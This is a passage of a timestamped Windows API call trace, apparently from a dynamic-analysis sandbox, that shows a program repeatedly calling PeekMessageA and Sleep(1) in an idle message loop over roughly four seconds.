PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.799] Sleep (dwMilliseconds=0x1) [0079.817] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.817] Sleep (dwMilliseconds=0x1) [0079.829] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.829] Sleep (dwMilliseconds=0x1) [0079.891] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.891] Sleep (dwMilliseconds=0x1) [0079.914] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.914] Sleep (dwMilliseconds=0x1) [0079.933] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.933] Sleep (dwMilliseconds=0x1) [0079.938] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.938] Sleep (dwMilliseconds=0x1) [0079.987] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.987] Sleep (dwMilliseconds=0x1) [0080.047] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.047] Sleep (dwMilliseconds=0x1) [0080.071] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.071] Sleep (dwMilliseconds=0x1) [0080.083] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.083] Sleep (dwMilliseconds=0x1) [0080.100] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.100] Sleep (dwMilliseconds=0x1) [0080.136] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.136] Sleep (dwMilliseconds=0x1) [0080.161] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.161] Sleep (dwMilliseconds=0x1) [0080.172] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.172] Sleep (dwMilliseconds=0x1) [0080.238] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.238] Sleep (dwMilliseconds=0x1) [0080.260] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.260] Sleep (dwMilliseconds=0x1) [0080.269] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.269] Sleep (dwMilliseconds=0x1) [0080.285] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.285] Sleep (dwMilliseconds=0x1) [0080.302] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.302] Sleep (dwMilliseconds=0x1) [0080.315] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.315] Sleep (dwMilliseconds=0x1) [0080.343] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.343] Sleep (dwMilliseconds=0x1) [0080.361] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.365] Sleep (dwMilliseconds=0x1) [0080.379] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.379] Sleep (dwMilliseconds=0x1) [0080.395] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.395] Sleep (dwMilliseconds=0x1) [0080.407] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.407] Sleep (dwMilliseconds=0x1) [0080.429] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.429] Sleep (dwMilliseconds=0x1) [0080.439] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.439] Sleep (dwMilliseconds=0x1) [0080.505] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.505] Sleep (dwMilliseconds=0x1) [0080.524] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.524] Sleep (dwMilliseconds=0x1) [0080.543] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.543] Sleep (dwMilliseconds=0x1) [0080.550] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.550] Sleep (dwMilliseconds=0x1) [0080.565] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.565] Sleep (dwMilliseconds=0x1) [0080.584] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.584] Sleep (dwMilliseconds=0x1) [0080.603] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.603] Sleep (dwMilliseconds=0x1) [0080.616] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.616] Sleep (dwMilliseconds=0x1) [0080.658] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.658] Sleep (dwMilliseconds=0x1) [0080.675] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.675] Sleep (dwMilliseconds=0x1) [0080.702] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.702] Sleep (dwMilliseconds=0x1) [0080.724] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.724] Sleep (dwMilliseconds=0x1) [0080.763] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.763] Sleep (dwMilliseconds=0x1) [0080.789] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.789] Sleep (dwMilliseconds=0x1) [0080.803] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.803] Sleep (dwMilliseconds=0x1) [0080.821] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.821] Sleep (dwMilliseconds=0x1) [0080.834] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.834] Sleep (dwMilliseconds=0x1) [0080.849] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.849] Sleep (dwMilliseconds=0x1) [0080.886] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.886] Sleep (dwMilliseconds=0x1) [0080.895] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.895] Sleep (dwMilliseconds=0x1) [0080.914] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.914] Sleep (dwMilliseconds=0x1) [0080.926] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.926] Sleep (dwMilliseconds=0x1) [0080.938] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.938] Sleep (dwMilliseconds=0x1) [0080.961] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.961] Sleep (dwMilliseconds=0x1) [0080.974] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.974] Sleep (dwMilliseconds=0x1) [0080.993] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0080.993] Sleep (dwMilliseconds=0x1) [0081.000] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.001] Sleep (dwMilliseconds=0x1) [0081.030] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.030] Sleep (dwMilliseconds=0x1) [0081.052] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.052] Sleep (dwMilliseconds=0x1) [0081.284] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.284] Sleep (dwMilliseconds=0x1) [0081.434] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.434] Sleep (dwMilliseconds=0x1) [0081.524] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.524] Sleep (dwMilliseconds=0x1) [0081.539] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.539] Sleep (dwMilliseconds=0x1) [0081.561] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.561] Sleep (dwMilliseconds=0x1) [0081.582] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.582] Sleep (dwMilliseconds=0x1) [0081.599] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.599] Sleep (dwMilliseconds=0x1) [0081.614] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.614] Sleep (dwMilliseconds=0x1) [0081.628] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.628] Sleep (dwMilliseconds=0x1) [0081.665] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.665] Sleep (dwMilliseconds=0x1) [0081.682] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.682] Sleep (dwMilliseconds=0x1) [0081.693] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.693] Sleep (dwMilliseconds=0x1) [0081.708] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.708] Sleep (dwMilliseconds=0x1) [0081.758] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.758] Sleep (dwMilliseconds=0x1) [0081.775] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.775] Sleep (dwMilliseconds=0x1) [0081.790] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.790] Sleep (dwMilliseconds=0x1) [0081.832] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.832] Sleep (dwMilliseconds=0x1) [0081.849] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.850] Sleep (dwMilliseconds=0x1) [0081.885] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.885] Sleep (dwMilliseconds=0x1) [0081.894] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.894] Sleep (dwMilliseconds=0x1) [0081.909] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.909] Sleep (dwMilliseconds=0x1) [0081.927] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.927] Sleep (dwMilliseconds=0x1) [0081.942] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.942] Sleep (dwMilliseconds=0x1) [0081.968] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.968] Sleep (dwMilliseconds=0x1) [0081.986] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0081.986] Sleep (dwMilliseconds=0x1) [0082.003] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.003] Sleep (dwMilliseconds=0x1) [0082.035] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.035] Sleep (dwMilliseconds=0x1) [0082.051] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.051] Sleep (dwMilliseconds=0x1) [0082.068] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.068] Sleep (dwMilliseconds=0x1) [0082.113] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.113] Sleep (dwMilliseconds=0x1) [0082.132] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.132] Sleep (dwMilliseconds=0x1) [0082.152] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.152] Sleep (dwMilliseconds=0x1) [0082.158] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.158] Sleep (dwMilliseconds=0x1) [0082.194] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.194] Sleep (dwMilliseconds=0x1) [0082.215] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.215] Sleep (dwMilliseconds=0x1) [0082.232] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.232] Sleep (dwMilliseconds=0x1) [0082.259] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.259] Sleep (dwMilliseconds=0x1) [0082.277] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.277] Sleep (dwMilliseconds=0x1) [0082.294] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.294] Sleep (dwMilliseconds=0x1) [0082.309] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.309] Sleep (dwMilliseconds=0x1) [0082.371] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.371] Sleep (dwMilliseconds=0x1) [0082.418] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.418] Sleep (dwMilliseconds=0x1) [0082.540] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.540] Sleep (dwMilliseconds=0x1) [0082.587] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.588] Sleep (dwMilliseconds=0x1) [0082.636] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.636] Sleep (dwMilliseconds=0x1) [0082.683] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.683] Sleep (dwMilliseconds=0x1) [0082.728] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.728] Sleep (dwMilliseconds=0x1) [0082.776] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.776] Sleep (dwMilliseconds=0x1) [0082.822] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.822] Sleep (dwMilliseconds=0x1) [0082.870] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.870] Sleep (dwMilliseconds=0x1) [0082.916] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.916] Sleep (dwMilliseconds=0x1) [0082.968] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0082.968] Sleep (dwMilliseconds=0x1) [0083.015] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.015] Sleep (dwMilliseconds=0x1) [0083.055] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.055] Sleep (dwMilliseconds=0x1) [0083.103] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.103] Sleep (dwMilliseconds=0x1) [0083.151] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.151] Sleep (dwMilliseconds=0x1) [0083.200] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.200] Sleep (dwMilliseconds=0x1) [0083.242] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.242] Sleep (dwMilliseconds=0x1) [0083.293] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.293] Sleep (dwMilliseconds=0x1) [0083.337] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.337] Sleep (dwMilliseconds=0x1) [0083.385] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.385] Sleep (dwMilliseconds=0x1) [0083.436] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.436] Sleep (dwMilliseconds=0x1) [0083.703] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.747] Sleep (dwMilliseconds=0x1) [0083.804] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.804] Sleep (dwMilliseconds=0x1) [0083.910] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0083.910] Sleep (dwMilliseconds=0x1) [0084.015] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0084.015] Sleep (dwMilliseconds=0x1) [0084.090] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0084.090] Sleep (dwMilliseconds=0x1) [0084.204] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0084.204] Sleep (dwMilliseconds=0x1) 